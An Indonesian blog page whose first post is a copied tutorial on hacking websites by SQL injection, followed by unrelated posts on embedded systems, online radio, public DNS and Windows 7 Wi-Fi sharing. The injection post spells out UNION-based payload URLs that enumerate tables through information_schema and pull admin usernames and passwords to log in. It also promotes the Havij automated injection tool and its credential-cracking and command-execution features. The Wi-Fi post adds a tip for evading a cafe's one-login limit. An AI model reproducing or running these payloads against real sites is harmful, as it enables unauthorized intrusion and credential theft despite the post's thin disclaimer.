hack website menggunakan SQL INJECTION

Harap dicatat bahwa penulis tidak bertanggung jawab atas segala bentuk efek dari artikel ini, tujuannya hanya untuk pengetahuan saja, jadi silahkan gunakan untuk kebaikan dan keamanan kalian masing2. Pertanyaan yang bersifat “Merusak” tidak akan ditanggapi.

Cara ngehacking web atau biasa disebut web attack sangat banyak caranya, salah satunya dengan cara SQL injection.

Apa itu SQL injection ?

SQL injection terjadi ketika attacker bisa meng-insert beberapa SQL statement ke ‘query’ dengan cara manipulasi data input ke applikasi tsb.

ini salah satu cara melakukan tekhnik SQL injection, cara ini saya copas dari http://jasakom.comoleh seorang penulis sebut saja cruz3N

oke, mari kita simak bersama-sama.

1. Pertama kali yang kita lakukan tentu mencari target. Misalnya target kita kali ini adalah

http://www.target.com/berita.php?id=100

2. Tambahkan karakter ‘ pada akhir url atau menambahkan karakter “-” untuk melihat apakah ada pesan error.

Contoh :

http://www.target.com/berita.php?id=100'

atau

http://www.target.com/berita.php?id=-100

4. Maka akan muncul pesan error…
“You have an error in your SQL syntax.You have an error in your SQL syntax; check the
manual that corresponds to your MySQL server version for the right syntax to use near ”’
at line 1″ Dan masih banyak lagi macamnya.

5. Next step adalah mencari dan menghitung jumlah table yang ada dalam databasenya…
Disini kita akan menggunakan perintah order by

Contoh :

http://www.target.com/berita.php?id=100+order+by+1/*

Hohoho…apalagi itu “/*” ? Itu adalah karakter penutup perintah SQL atau kita juga bisa pake “–”. Terserah aja…

Kalo “+” sebagai penghubung perintah…

6. Nah sampe sini langsung dah nyobain satu2…

http://www.target.com/berita.php?id=100+order+by+1/* (gak ada error) http://www.target.com/berita.php?id=100+order+by+2/* (gak ada juga) http://www.target.com/berita.php?id=100+order+by+3/* (capek dah) http://www.target.com/berita.php?id=100+order+by+4/* (jangan nyerah)

Sampai muncul error…
Misalkan errornya disini…

http://www.target.com/berita.php?id=100+order+by+10/*

Berarti yang kita ambil adalah “9″

http://www.target.com/berita.php?id=100+order+by+9/*

7. Untuk mengetahui berapa angka yang show sekarang kita pake UNION

Contoh :

http://www.target.com/news.php?id=100+union+select+1,2,3,4,5,6,7,8,9/*

Trus perhatikan angka berapa yang keluar (Kayak togel aja… ;p)

8. Misalnya angka hoki yang keluar adalah “3″ maka yang bisa akan kita lakukan adalah mengecek versi berapa mysql yang dipake dengan perintah “version()” atau “@@version”

http://www.target.com/news.php?id=100+union+select+1,2,version(),4,5,6,7,8,9/*

Atau

http://www.target.com/news.php?id=100+union+select+1,2,@@version,4,5,6,7,8,9/*

9. Nah kalo versinya 5 langsung aja pake perintah “information_schema” untuk melihat tabel dan kolom yang ada pada database…

Contoh :

http://www.target.com/berita.php?id=100+union+select+1,2,table_name,4,5,6,7,8,9+from+information_schema.tables/*

Nah katanya kalo untuk melihat tabel-tabel yang lain kita tambahkan LIMIT pada akhir URL. Tapi waktu itu gua gak pake keliatan kok tabelnya…Apa gua salah? Mungkin tapi sekarang yang gua mau jelaskan adalah VERSI DAN PENGALAMAN GUA. Mungkin agak lain…ya maklum lah baru belajar…Hehehe…

Misalnya yang lo liat adalah table “admin”

Nah sekarang kita liat-liat dulu kolomnya dengan mengganti aja kata “table”-nya…

Contoh:

http://www.target.com/berita.php?id=100+union+select+1,2,column_name,4,5,6,7,8,9+from+information_schema.colums/*

Misalnya kolom yang keluar adalah “password” dan “username”
Langsung aja kita liat isinya…

Contoh :

http://www.target.com/news.php?id=100+union+select+1,username,3,4,5,6,7,8,9+from+admin/*

dan

http://www.target.com/news.php?id=100+union+select+1,password,3,4,5,6,7,8,9+from+admin/*

Bisa diliat dah username ama passwordnya…Tinggal login…Cari yang asik terus…Terserah Anda…
—————————————————
begitulah yang dituliskan disana.
anda masih belum paham tentang apa SQL injection ?
tenang silahkan anda download file dokumen dibawah ini tentang SQL injection step by step.

Download SQL injection step by step.DOC

oke selamat mencoba. yang terpenting jangan dilakukan di web teman anda ataupun di website Lokal.

referensi :

http://jasakom.com

http://ezine.echo.or.id

http://cruzenaldo.co.cc

http://students.ee.itb.ac.id

Catatan: Cara otomatis dengan memakai software bisa juga dilakukan, selengkapnya lihat artikel berikut ini

Atau mau mencoba tool yang baru saya dapatkan? namanya Havij. Adapun fitur2nya:

1. Supported Databases with injection methods:
• MsSQL 2000/2005 with error
• MsSQL 2000/2005 no error (union based)
• MySQL (union based)
• MySQL Blind
• MySQL error based
• Oracle (union based)
• MsAccess (union based)
2. Automatic database detection
3. Automatic type detection (string or integer)
4. Automatic keyword detection (finding difference between the positive and negative response)
5. Trying different injection syntaxes
6. Proxy support
7. Real time result
8. Options for replacing space by /**/,+,… against IDS or filters
9. Avoid using strings (magic_quotes similar filters bypass)
10. Bypassing illegal union
11. Full customizable http headers (like referer and user agent)
12. Load cookie from site for authentication
13. Guessing tables and columns in mysql<5 (also in blind) and MsAccess
14. Fast getting tables and columns for mysql
15. Multi thread Admin page finder
16. Multi thread Online MD5 cracker
17. Getting DBMS Informations
18. Getting tables, columns and data
19. Command executation (mssql only)
20. Reading system files (mysql only)
21. Insert/update/delete data

Download HAVIJ

Read More

Pengertian Sistem Embedded

1. Pengertian Sistem Embedded

Sistem embedded merupakan computing device yang didesain dengan tujuan tertentu secara spesifik untuk melakukan fungsi tertentu. Sistem embedded terdiri dari perangkat keras dan perangkat lunak. Perangkat keras meliputi mikroprosesor atau mikrokontroler dengan penambahan memori eksternal, I/O dan komponen lainnya seperti sensor, keypad, LED, LCD, dan berbagai macam aktuator lainnya. Perangkat lunak embedded merupakan penggerak pada sistem embedded. Sebagian besar perangkat lunak sistem embedded real time memiliki program aplikasi yang spesifik yang didukung oleh Real Time Operating System (RTOS). Perangkat lunak embedded biasanya disebut firmware karena perangkat lunak tipe ini dimuat ke ROM, EPROM atau memory Flash. Sekali program dimasukkan kedalam perangkat keras maka tidak akan pernah berubah kecuali diprogram ulang.

contoh sistem embedded : mp3 player

2.  Kategori Sistem Embedded

Sistem embedded dapat diklasifikasikan berdasarkan fungsi dan performansinya yaitu sebagai berikut.

- Sistem Embedded berdiri sendiri (Stand Alone)

Sistem embedded yang termasuk kategori ini dapat bekerja sendiri. Sistem embedded ini dapat menerima input digital atau analog, melakukan kalibrasi, konversi, pemprosesan data serta menghasilkan output data ke periperal output misalnya display LCD. Contoh alat yang termasuk kategori ini adalah konsol video game, MP3 player, kamera digital.

- Sistem Embedded Real-Time

Sistem dapat dikategorikan sebagai real-time jika waktu respon merupakan hal yang sangat penting. Beberapa tugas tertentu harus dilakukan pada periode waktu yang spesifik. Ada 2 tipe sistem embedded real time yaitu sistem embedded hard real time dan soft real-time.

- Sistem Embedded Hard Real-Time

Untuk sistem embedded ini, pengerjaan operasi melebihi waktu yang ditentukan dapat menyebabkan terjadinya kegagalan yang fatal dan menyebabkan kerusakan pada alat. Batas waktu respon untuk sistem ini sangatlah kritis yaitu dalam milidetik bahkan lebih singkat lagi. Contohnya penyelesaian operasi yang tidak sesuai waktunya pada sistem embedded kontrol rudal dapat menyebabkan bencana. Sistem embedded ini juga dapat ditemui pada kehidupan sehari-hari misalnya pada sistem kontrol kantong udara pada mobil. Waktu tunda pada sistem ini dapat mengancam keselamatan pengendara mobil karena kecelakaan biasanya terjadi dalam waktu yang sangat singkat. Sistem embedded harus dapat bekerja dengan batas waktu yang sangat tepat. Pemilihan chip dan RTOS sangatlah penting pada sistem embedded hard real-time ini.

- Sistem Embedded Soft Real-Time

Pada beberapa sistem embedded lainnya keterlambatan waktu respon dapat ditoleransi pada batas tertentu. Pelanggaran batas waktu dapat menyebabkan performansi menurun namun sistem dapat tetap beroperasi. Contoh alat pada kategori ini adalah mikrowave dan mesin cuci. Walaupun ada batas waktu untuk setiap operasinya namun keterlambatan yang dapat ditoleransi dapat dalam hitungan detik bukan milidetik.

- Networked Embedded Systems

Sistem embedded jaringan menghubungkan jaringan dengan interface jaringan ke sumber akses. Jaringan yang dihubungkan bisa jadi Local Area Network (LAN), Wide Area Network (WAN) atau internet. Sambungan dapat menggunakan kabel atau nirkabel. Networked embedded system dapat dikategorikan berdasarkan sambungannya tersebut. Namun dalam banyak sistem, penggunaan kabel maupun nirkabel dalam sistem embedded sering dilakukan. Contoh dari LAN networked embedded system adalah sistem pengamanan rumah dimana semua sensor (misalnya pendeteksi gerak, sensor tekanan, sensor cahaya ataupun sensor asap) semua terhubung melalui kabel dan dijalankan dengan protokol TCP/IP. Sistem pengamanan rumah dapat diintegrasikan dengan jaringan sistem pengamanan rumah dengan tambahan jaringan kamera yang dijalankan dengan protokol HTTP. Jadi semua sistem embedded dapat dikategorikan seperti klasifikasi sebelumnya namun pembagiannya tidak mutlak. Subsistem dari sistem embedded jaringan dapat real-time ataupun non real-time. Sistem real-time dapat berdiri sendiri atau terhubung dengan jaringan.

Read More

CARA MEMBUAT RADIO ONLINE

Lama nggak nulis nih, kaku gitu tangannya. hahaha lebai  Oke langsung ke topik pembicaraan aja ya. Cara membuat radio internet atau radio online, ternyata gampang banget kok. Tinggal pilih mau gratisan apa mau bayar? Tapi kali ini Saya mau share cara yang gratisan aja ya. Kalo yang bayar TS nggak punya duit buat bayarnya  wakakakak..

1. Pertama, yang harus Anda lakukan adalah mencari server hostnya. Disini Saya menggunakan Listen2MyRadio.com. Sebenernya ada yang lain seperti caster.fm tapi si Caster ini belum mendukung embed ke blog. Jadi Saya lebih Prefer ke Listen2MyRadio.com.
2. Setelah itu daftar dan lakukan registrasi sebagai mana mestinya. Nanti Anda akan mendapatkan IP dan Port untuk host radionya.
3. Disini Saya menggunakan IceCast sebagai servernya. Defaultnya ShoutCast tetapi entah mengapa Saya nyaman dan  suka menggunakan IceCast. Catatan : Saat Anda mengubah server, IP dan Port akan berubah juga
4. Pastikan komputer anda sudah terinstall Winamp dan Edcast. Jika Belum punya softwarenya bisa mendownload winamp disini dan edcast disini.  Oh iya, download pula plugin lame mp3. Karena untuk menjalankan file mp3 edcast memerlukan ini. Plugin lame mp3 dapat didownload disini.
5. Setelah winamp dan edcast terinstall, ekstrak file lame mp3 di C:\Program Files\Winamp
   
6. Kemudian jalankan winamp dan pada preferences DSP/Effects pilih Edcast. Maka akan muncul jendela edcast.
   
7. Konfigurasikan Edcast sebagai berikut.
   
8. Setelah itu tinggal konekin deh. Untuk yang lainnya bisa di utak-atik sendiri sesuka kita.

Dengan ini anda juga menggunakan embed player, untuk memasang radio Anda pada blog. Disini Saya belum menjelaskan embednya ya?  deh. Lain kali kalo ada waktu pasti Saya bahas di blog 

Read More

Mengganti DNS dengan DNS Publik Milik Google dan OpenDNS

march 18, 2013 by anggi setiawan 

Bagi pengguna internet di Indonesia, sering kali kita mendengar cerita tentang layanan yang kurang memuaskan dari pihak internet provider. Mulai koneksi yang sering putus, download super lambat, biaya langganan yang mahal dan masih banyak lagi. Meskipun kenyataannya seperti itu, kita sebagai anak negeri tetap harus berfikir positif dan berharap agar kedepannya masalah tersebut dapat teratasi sehingga kita bisa menikamati koneksi internet yang berkualitas dan tentunya dengan harga yang lebih murah

Salah satu sebab mengapa koneksi internet di Indonesia sering putus adalah dikarenakan DNS server yang dipakai oleh internet service provider (ISP) kurang memadai dalam melayani banyaknya member yang berlangganan pada provider tersebut. Untuk mengatasi hal itu, kita sebagai konsumen bisa melakukan komplain kepada pihak ISP tentang DNS server yang mereka sediakan.

Jika hal tersebut tidak memungkinkan, kita juga bisa menggunakan DNS publik luar negeri yang memang disediakan bagi pengguna internet di seluruh dunia. Ada dua DNS publik yang terkenal dikalangan pengguna internet yaitu OpenDNS dan Google DNS. Soal kualitas, jangan ditanyakan lagi karena memang keduanya mempunyai kualitas yang lebih baik jika dibandingkan DNS yang disediakan oleh ISP di Indonesia. Pendapat ini hanya pendapat pribadi kami selama menggunakan layanan ISP Indonesia.

Google DNS Public 8.8.8.8 dan 8.8.4.4
OpenDNS Public 208.67.222.222 dan 208.67.220.220

Jika ingin menggunakan DNS publik milik Google dan OpenDNS, ikuti petunjuk berikut ini :

• Buka Control Panel, kemudian pilih Network Connections.
• Pilih jenis koneksi apa yang ingin anda gunakan. Sebagai contoh pada kantor kami, kami menggunakan wireless sebagai default dari koneksi internet, maka yang harus dirubah adalah setting DNS pada wireless tersebut.
  
• Klik kanan wireless dan pilih Properties.
• Klik bagian Internet Protocol TCP/IP dari jendela network yang terbuka, kemudian klik tombol Properties.
  
• Pada bagian Use the following DNS addresses, gunakan DNS dari OpenDNS atau Google DNS. Anda juga bisa mengkombinasikan antara keduanya.
  
• Kil tombol OK dan lanjutkan klik Close pada bagian Network Connections.

Jika ingin memaksimalkan dan mempercepat koneski internet, anda juga bisa mematikan service dari QOS Packet Scheduler pada bagian Network Connections (Mematikan QOS Packet Scheduler bisa mempercepat koneksi internet hingga mencapai 20% dari kecepatan semula).

Trik ini dapat diaplikasikan pada semua ISP yang anda pakai, baik itu melalui kabel telephone, modem GSM, modem CDMA, satellite atau juga bisa digunakan pada hotspot milik publik seperti yang ada di mall atau cafe.

semoga bermanfaat , tinggalkan comentar apabila ada yang kurang jelas.

Read More

Cara Mudah Membuat Jaringan Wi-Fi dengan Windows 7

monday, march 18, 2013

Anda hobi kumpul bareng teman-teman Anda di kafe untuk akses Wi-Fi gratis? Kalau di rumah Anda punya jaringan internet kabel atau kalaupun Anda punya modem CDMA / GSM, kenapa tidak miliki Wi-Fi pribadi saja di rumah? Bisa sharing internet dengan keluarga atau teman tanpa perlu memiliki perangkat tambahan. Cukup bermodalkan sistem operasi Windows 7 di komputer ataupun laptop Anda yang sudah dilengkapi dengan Wireless Adapter. Nah, ingin tau caranya? Yuk intip tips berikut ini.

Kalau dulu kita harus punya Wireless router untuk bisa memasang jaringan Wi-Fi, kini Windows 7 saja sudah cukup mumpuni untuk melakukannya. Dengan fitur Microsoft Virtual Wi-Fi Miniport Adapter yang dibundel bersama sistem operasi Windows 7, Anda akan dengan mudahnya membuat jaringan virtual Wi-Fi. Nah, untuk memudahkan settingan membuat Wi-Fi pribadi ini, kita akan menggunakan aplikasi Connectifity.

Connectifity sendiri merupakan aplikasi sederhana yang menggantikan fungsi Wireless router. Dengan aplikasi ini, Anda bisa sharing koneksi internet Anda baik menggunakan jaringan LAN, modem GSM / CDMA atau bahkan jaringan Wi-Fi lainnya. Cukup aktifkan aplikasi Connectifity ini, selanjutnya teman atau kerabat Anda akan dapat konek langsung ke jaringan Wi-Fi Anda seperti terhubung dengan jaringan Wi-Fi pada umumnya. Agar lebih aman, Anda bisa memasang password yang sudah dienkripsi dengan WPA2. Pada saat tulisan ini diterbitkan, aplikasi Connectifity yang akan digunakan berikut adalah Connnectifity versi 2.2.0

Silahkan download terlebih dahulu aplikasi Connectify di sini http://www.connectify.me

Selanjutnya kita akan coba menginstal aplikasi Connectifity ini di komputer ataupun laptop Anda yang sudah menggunakan sistem operasi Windows 7. Klik langsung pada aplikasi Connectifity yang sudah kita download tadi, lalu akan muncul Window installer seperti ini. Anda harus mengklik tombol ‘I Agree’ untuk melanjutkan instalasi.

Di bagian ini, Anda boleh centang bagian Install RealPlayer kalau ingin menginstall aplikasi player multimedia tersebut, tapi kalaupun tidak, jangan mencentang bagian itu. Untuk melanjutkan instalasi, klik ‘Install’.

Tunggu beberapa menit untuk menyelesaikan proses instalasi.

Jika muncul notifikasi ‘Would you like to install this device software?’ jangan ragu untuk mengklik ‘Install’.

Klik ‘Finish’ untuk menyelesaikan instalasi Connectifity. Untuk melanjutkan konfigurasi jaringan Wi-Fi pastikan Anda telah mencentang ‘Run Connectifity’ sebelum mengklik ‘Finish’.

Selanjutnya akan muncul jendela Welcome Screen seperti di bawah ini. Jangan lupa untuk mengklik tombol ‘Next’.

Nah, untuk mengkonfigurasi jaringan virtual Wi-Fi Anda, pertama-tama yang harus dilakukan adalah mengetikkan Network Name atau nama dari jaringan Wi-Fi Anda nantinya. Bagian ini tidak boleh kosong dan harus diisi dengan huruf tidak lebih dari 32 karakter.

Agar jaringan Wi-Fi Anda tidak sembarangan diakses oleh orang yang tidak dikenal, jangan lupa untuk mengisi bagian password, sehingga nantinya jaringan Wi-Fi pribadi Anda ini hanya bisa diakses oleh orang yang sudah Anda beri aksesnya. Dianjurkan password diisi dengan 8 sampai 63 karakter agar tidak mudah ditebak.

Selanjutnya kita akan masuk ke bagian pemilihan Shared Connection. Di bagian ini, Anda bisa memilih apakah jaringan yang ingin Anda share sebagai jaringan virtual Anda asalnya dari LAN, modem GSM / CDMA (di bagian screenshot tidak muncul pilihan, tapi kalau Anda sudah terhubung dengan modem maka akan muncul di sini), atau jaringan Wi-Fi milik orang lain. Kalaupun Anda hanya ingin bermain game LAN, tapi tidak punya jaringan LAN, Anda bisa memilih No Internet Sharing, sehingga Anda tidak share jaringan Wi-Fi melainkan membuat LAN virtual. Rekomendasi pilihan Shared Connection tergantung dari jaringan yang konek dengan komputer ataupun laptop Anda. Sebagai contoh : misalnya Anda terhubung dengan jaringan LAN, maka pilihlah Local Area Connection.

Sedikit tips untuk Anda yang sedang berada di tempat umum seperti kafe, bila Anda hanya boleh konek Wi-Fi dengan batasan 1 login per orang, maka gunakan saja aplikasi ini cukup 1 orang saja yang terkoneksi dengan jaringan Wi-Fi kafe tersebut, lalu share dengan teman-teman Anda menggunakan aplikasi ini.

Bila konfigurasi sudah selesai maka akan muncul seperti ini.

Nantinya akan muncul icon baru di bagian taskbar Anda, silahkan klik kanan pada icon tersebut, pilih Options lalu pilih ‘Always Show A-Hoc Mode’ untuk memunculkan mode Ad-Hoc. kalau sudah akan muncul seperti ini.

Nah, klik satu kali lagi di icon Connectifity, untuk memunculkan jendela status jaringan Wi-Fi pribadi Anda.

Screenshot di bawah ini diambil langsung dari website Connectifity, sebagai keterangan tambahan dari jendela status ini.

Selamat, sekarang Anda sudah bisa punya jaringan virtual Wi-Fi pribadi, jangan lupa untuk sharing dengan keluarga Anda di rumah atau teman-teman Anda ketika berada di luar rumah. Hmm, sungguh menyenangkan bukan memiliki Wi-Fi milik sendiri?

Read More